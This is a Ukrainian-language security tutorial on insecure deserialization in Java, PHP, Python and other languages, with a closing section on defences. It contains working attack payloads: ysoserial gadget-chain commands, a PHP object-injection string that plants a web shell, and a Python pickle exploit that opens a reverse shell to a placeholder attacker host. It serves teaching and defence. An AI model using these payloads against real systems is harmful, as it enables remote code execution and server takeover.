Що таке десеріалізація
Серіалізація — конвертація об'єкта в пам'яті до формату який можна зберегти або передати по мережі (байти, JSON, XML).
Десеріалізація — зворотній процес: відновлення об'єкта з серіалізованих даних.
Проблема: якщо додаток десеріалізує дані від користувача, атакуючий може передати шкідливий об'єкт і примусити додаток виконати довільний код.
Java: ysoserial та gadget chains
Механізм
Java має вбудований механізм серіалізації (java.io.Serializable). При десеріалізації викликаються методи readObject(). Якщо в classpath є бібліотеки з небезпечними "gadget chain" — виконується довільний код.
Magic bytes Java серіалізації: AC ED 00 05 (або rO0AB в base64)
Gadget Chains (ysoserial)
# Завантажити ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Список доступних гаджет-ланцюжків
java -jar ysoserial-all.jar
# Згенерувати payload
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0
# Найпоширеніші гаджет-ланцюжки:
# CommonsCollections1-7 (Apache Commons Collections)
# Spring1, Spring2 (Spring Framework)
# Hibernate1, Hibernate2
# URLDNS (DNS callback для виявлення без RCE)
Виявлення (URLDNS gadget)
# Безпечний PoC — тільки DNS запит, без RCE
java -jar ysoserial-all.jar URLDNS 'http://UNIQUE.interact.sh' | base64 -w0
# Відправити в поле яке може десеріалізуватись
# Якщо прийшов DNS запит - є десеріалізація Java об'єктів
Де шукати
- Java RMI (порт 1099)
- JMX (порт 1099/9999)
- HTTP параметри і cookies з base64 що починаються на rO0
- XML/AMF/Hessian ендпоінти
- ViewState в JSF
PHP: Object Injection
Механізм
PHP серіалізує об'єкти через serialize(). Якщо десеріалізований об'єкт має метод __destruct(), __wakeup(), __toString() — вони викликаються автоматично.
// Серіалізований рядок
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
// O:4 = Object з 4-символьною назвою класу
// :2 = 2 властивості
Exploit
// Вразливий код сервера
class Logger {
public $filename;
public $data;
public function __destruct() {
file_put_contents($this->filename, $this->data);
// Запис у файл при знищенні об'єкту!
}
}
// Нормальний клас
class User {
public $name;
}
// При десеріалізації:
$data = base64_decode($_COOKIE['user']);
$user = unserialize($data); // ВРАЗЛИВЕ місце
// Атака: підміна cookie на:
// O:6:"Logger":2:{s:8:"filename";s:15:"/var/www/sh.php";s:4:"data";s:29:"<?php system($_GET['c']); ?>";}
// В base64: TzY6Ikxvb2dlciI6Mjp7czo4...
# Генерація PHP payload на Python
payload = 'O:6:"Logger":2:{s:8:"filename";s:24:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET['c']); ?>";}'
import base64
print(base64.b64encode(payload.encode()).decode())
Поширені magic methods PHP
| Метод | Коли викликається |
|---|---|
__destruct |
При знищенні об'єкту (завжди після десеріалізації) |
__wakeup |
Одразу після unserialize() |
__toString |
При конвертації в рядок |
__invoke |
При виклику як функція |
__call |
При виклику неіснуючого методу |
Python: Pickle RCE
Механізм
Python pickle модуль серіалізує об'єкти. При десеріалізації (unpickling) виконуються __reduce__ і __reduce_ex__ методи об'єкта. Через __reduce__ можна вказати довільну функцію для виклику.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
# Серіалізація
payload = pickle.dumps(Exploit())
print(payload) # байти з вбудованою командою
# При десеріалізації:
pickle.loads(payload) # виконає os.system('id > /tmp/pwned')
CTF Exploit
import pickle, base64, os
class RCE:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Підставити в поле яке pickle.loads() десеріалізує
Де шукати pickle
# Часто в:
# - Cookies: session cookie у Flask без SecretKey
# - ML сервіси (модель у .pkl файлі)
# - Черги задач (Celery, RQ з Redis)
# - Кешування (Redis, Memcached)
YAML/Marshal/MessagePack
# YAML теж небезпечний!
import yaml
yaml.load(user_input) # ВРАЗЛИВО
yaml.safe_load(user_input) # БЕЗПЕЧНО
# Ruby Marshal
Marshal.load(user_input) # ВРАЗЛИВО
# Node.js serialize-javascript
const serialize = require('node-serialize');
serialize.unserialize(user_input) # ВРАЗЛИВО
Захист
// Java: фільтрація класів при десеріалізації
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.base/*;!*" // дозволити тільки java.base
);
ObjectInputStream ois = new ObjectInputStream(is);
ois.setObjectInputFilter(filter);
// PHP: уникати unserialize() з даними від користувача
// Якщо потрібна серіалізація — використовувати JSON
$data = json_decode($_COOKIE['data'], true); // безпечно
// PHP 7+: allowed_classes
$obj = unserialize($data, ['allowed_classes' => ['User']]);
# Python: ніколи не pickle.loads() дані від користувача
# Використовувати JSON для зовнішніх даних
import json
data = json.loads(user_input) # безпечно
# Для внутрішнього кешу з перевіркою:
import hmac, hashlib
def safe_loads(data, secret):
payload, sig = data[:-32], data[-32:]
if hmac.compare_digest(sig, hmac.new(secret, payload, hashlib.sha256).digest()):
return pickle.loads(payload)
raise ValueError("Invalid signature")